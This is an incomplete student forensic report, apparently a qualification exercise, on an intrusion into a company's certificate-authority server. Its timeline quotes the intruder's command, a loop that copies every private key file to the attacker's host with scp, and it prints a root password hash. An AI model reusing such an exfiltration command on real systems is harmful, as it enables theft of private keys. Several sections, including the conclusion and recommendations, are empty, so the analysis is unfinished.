

Darmstadt University of Applied Sciences
– Faculty of Computer Science –

Compromised Server Investigation Report

Qualification exercise

by

Lennart Eichhorn

Matriculation number: 759253

Email: lennart.eichhorn@stud.h-da.de

ABSTRACT

Participating in the hacker contest course requires a submitting a solution for the qualification exercise [[Goh24](#)].

TABLE OF CONTENTS

I Forensic Investigation Report	1
1 Introduction	2
1.1 Background	2
1.2 Objectives	2
1.2.1 Tasks	2
1.2.2 Hypotheses	2
1.3 Acquired data	3
1.4 Suspect information	3
1.4.1 Consultant	4
2 Suspect action timeline	5
2.1 Timeline	5
3 Investigator activity logs	6
4 Conclusion	7
4.1 Recommendations for securing the server	7
List of abbreviations	8
References	9
5 Appendix	10

Part I

FORENSIC INVESTIGATION REPORT

INTRODUCTION

1.1 BACKGROUND

A small company hired an IT consultant to generate certificates for various services. As soon as the consultant completed the work and left the building, the Intrusion Detection System (IDS) used in the company detected an attack on the server set up specifically for this purpose. Concerned about the security of the generated certificates, the company requests a forensic investigation of the server to determine whether there has been an attack on the system and, if so, what data has been stolen from the system. Any information that can be found about the attacker is also of importance.

The server itself has the IP address 192.168.0.1. The consultant used the username ``root`` and either worked directly on the computer or from the addresses 192.168.5.23 and ``192.168.23.5``. Otherwise, no one else should have had access to the computer. The consultant set up the computer in the morning and generated the certificates. Immediately afterward, he left the premises. Shortly thereafter, the IDS system reported the attack.

1.2 OBJECTIVES

1.2.1 Tasks

Questions

- Should the certificates still be used?
- Can the system still be used?
- If there was an attack:
- How did the attacker get into the system?
- What did the attacker do?
- What has to be done to secure the system?
- Which details about the attacker can be found?

Additional Questions

- Is the configuration of the server secure?
- Should a CA be operated in this manner?
- How should the software written by the consultant be assessed?

1.2.2 Hypotheses

1.3 ACQUIRED DATA

Table 1. Compromised server disk image

Attribute	Detailed Information
Filename	HDD.raw
sha256sum	9ad970f9df238dc266f58f17689d4049ab40e5c10296a3ff0620ba95612f166c
Size (bytes)	1.00 GiB (1,073,741,824 bytes)
Date of acquisition	Unknown
Aquired by	Customer
Description	The disk image was created by the customer and handed over to the investigator

Basic server information

Hostnames

caserver.smallcompany.local caserver localhost.localdomain localhost

Operating System

Alpine Linux v3.2.3

motd

Welcome to our PKI management server

nameserver

192.168.1.7

root shadow entry

root:\$6\$tLmnLjM0j3qZwQxd\$YiYPWIAcN4a9W3p5.7jYL8Wg.5sVkedxQ2H
RCSUvefVu008.dPyNziMe8LoY3s5DoxchY.G96XsT2jasType50:16703:0:::

timezone

UTC

programs

php, apache, sudo, apk,

1.4 SUSPECT INFORMATION

Name

Peter

Username

peter

IP

192.168.223.223

Tools

Nikto sqlmap

1.4.1 Consultant

Some information about the consultant.

SUSPECT ACTION TIMELINE

2.1 TIMELINE

2015-09-25T06:41:16

Consultant logs in for the first time from 192.168.23.5

2015-09-25T08:04:10

Intruder started probing endpoints from 192.168.223.223

2015-09-25T08:10:05

Intruder placed `test.csv`

2015-09-25T08:11:04

Intruder placed `upload.php`

2015-09-25T08:24:??

Intruder starts first ash session

08:24:17

Intruder exfiltrates ``cakey.pem`

08:2[4-6]:??

Intruder fails to exfiltrate `*key.pem` `for i in $(find . -name "*key.pem");`
`do scp $i peter@192.168.0.223.223:/home/peter/; done`

2024-04-28T12:45:00

Investigator receives the disk image

INVESTIGATOR ACTIVITY LOGS

I did not work on any live data, so there is no risk of contaminating the evidence.

CONCLUSION


4.1 RECOMMENDATIONS FOR SECURING THE SERVER

LIST OF ABBREVIATIONS

IT

Information Technology 

IDS

Intrusion Detection System 

REFERENCES

- [Goh24] Matthias Göhring, Tobias Hamann, Tim Wörner
Anmeldeaufgabe, Sommersemester 2024
[Online; archived 17.4.2024]
transfer.usd.de/index.php/s/ZPS9KT2NRsk42MA 